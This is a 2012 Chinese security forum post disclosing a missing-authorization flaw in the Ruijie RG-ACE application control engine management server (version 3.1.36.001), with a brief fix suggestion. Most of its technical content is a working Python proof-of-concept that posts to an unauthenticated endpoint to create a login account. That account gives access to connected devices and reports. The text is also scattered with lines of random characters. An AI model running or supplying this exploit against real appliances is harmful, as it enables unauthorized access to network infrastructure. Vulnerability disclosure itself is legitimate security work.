找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2144|回复: 0
打印 上一主题 下一主题

锐捷应用控制引擎管理服务器可以增加用户

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-10 10:16:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
锐捷应用控制引擎管理服务器(RG-ACE系列应用控制引擎管理服务器V3.1.36.001,官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版)可以根据没有权限验证的接口直接增加用户,连接设备,查看设备信息和报表(权限相对于默认的admin比较低)
# O& y9 c; [& Z
/ l  D( i* [& y7 r1 ?
& L6 v  h+ E4 l- ^* T1 g测试的具体版本是
% @7 }! K9 p  ^+ ]7 [0 }产品名称: 锐捷应用控制引擎
$ q, [# `; @7 ?  e" P" P版本号: 3.1.36.001 TC1 v1 G1 B7 [! |3 _3 j
编译时间: 201104291730
6 R( t: @2 p+ Y
- }3 H2 B" b2 N! X; m9 ^* Z
/ I( U, P( ]8 ~" `. |' _* l0 R: V漏洞证明:
: `9 k" Z, [. O' N9 g- m& D " G$ ~# p" H. W8 E
3 _6 L2 h7 }8 A: V& r
0 ^  d; H. e# ^+ D: Q0 I

$ ]0 T! V( S* C" \+ X4 r
+ z. y9 g/ `1 x3 a9 m  G7 S4 }+ j% H4 F. ]8 `
执行脚本  u* I9 u- C6 |- i: g) n# I
#! /usr/bin/env python
7 O7 _7 f* {/ o0 f6 @; C  K#coding=gbk
9 C+ Y$ y+ W( k#RG-ACE管理服务器 V3.1.36.001
6 L5 b1 P0 }+ V, ?; _% qimport urllib2, urllib,cookielib: p1 @' N9 Q( d" S* E; H* ]
url=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP3 ?7 z& j( w, m. P
opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
2 j6 m5 O9 [- }0 b8 [opener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]( c* E9 t8 m7 ~
post=(("event","userManager.doInsertUserInfo"),
; y9 H" ]0 U9 @! j4 ^2 G0 t- E("useractionname","addButtonValue"),! z2 y% g% {/ Z. [$ @
("useropermanager","userManager"),  M; \* m% z- ?8 ~& @. \
("userName","t"), #######账号自己加/ e2 e, s6 Z/ x- V' s% y4 c
("pwd","aaaaaa"),######密码自己加
" k' W3 ^' g9 v; H1 s("trueName","ad"),8 y+ k) B- {. U$ G+ P/ h" d3 q
("email",""),
) O4 s2 p  b+ g0 Z* R("mobilePhone",""),
; Y' c- s/ \2 J("officePhone",""),8 M& N1 P4 H% Y$ l
("addr",""),
! Y3 @. [% l3 n  {  n/ p% e("submit","确定"))
  g' |5 b5 \- h4 q* L. w! n% I  turllib2.install_opener(opener)9 V: \9 F# j- u
p=urllib2.urlopen(url, urllib.urlencode(post)).read()& d3 N" k0 f7 t7 w1 d4 Z) ^; r
print "Done", E5 w3 S7 q5 @

  f( l3 C0 L2 n+ R" A登录,连接设备( [+ J6 a' l' K% q+ Z6 n; m
4 E1 t( P5 g1 t' v- n( X
. \$ `: r* O1 L
2 s2 z0 X; T3 s) {

& v9 |# I% D; O) X! Y1 _' V: z2 c" }+ E+ K3 X
默认的管理员admin权限更大点
" t( r8 `8 L0 r% d) U, K5 H; ~! t, a9 E

3 m' T, O. Q5 ^3 e% M) S
5 g3 ^2 K" I" K) V1 z
  Q/ [7 N6 c. Q
( S; G! z: _, i  m3 n- k# ?& Q( Y% C修复方案:  a! y7 K. g8 ?/ `# s" C
加强对接口的权限验证
2 C; v% Y, f( c  h5 O/ s0 l" T% `' F  t' K7 c0 a
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表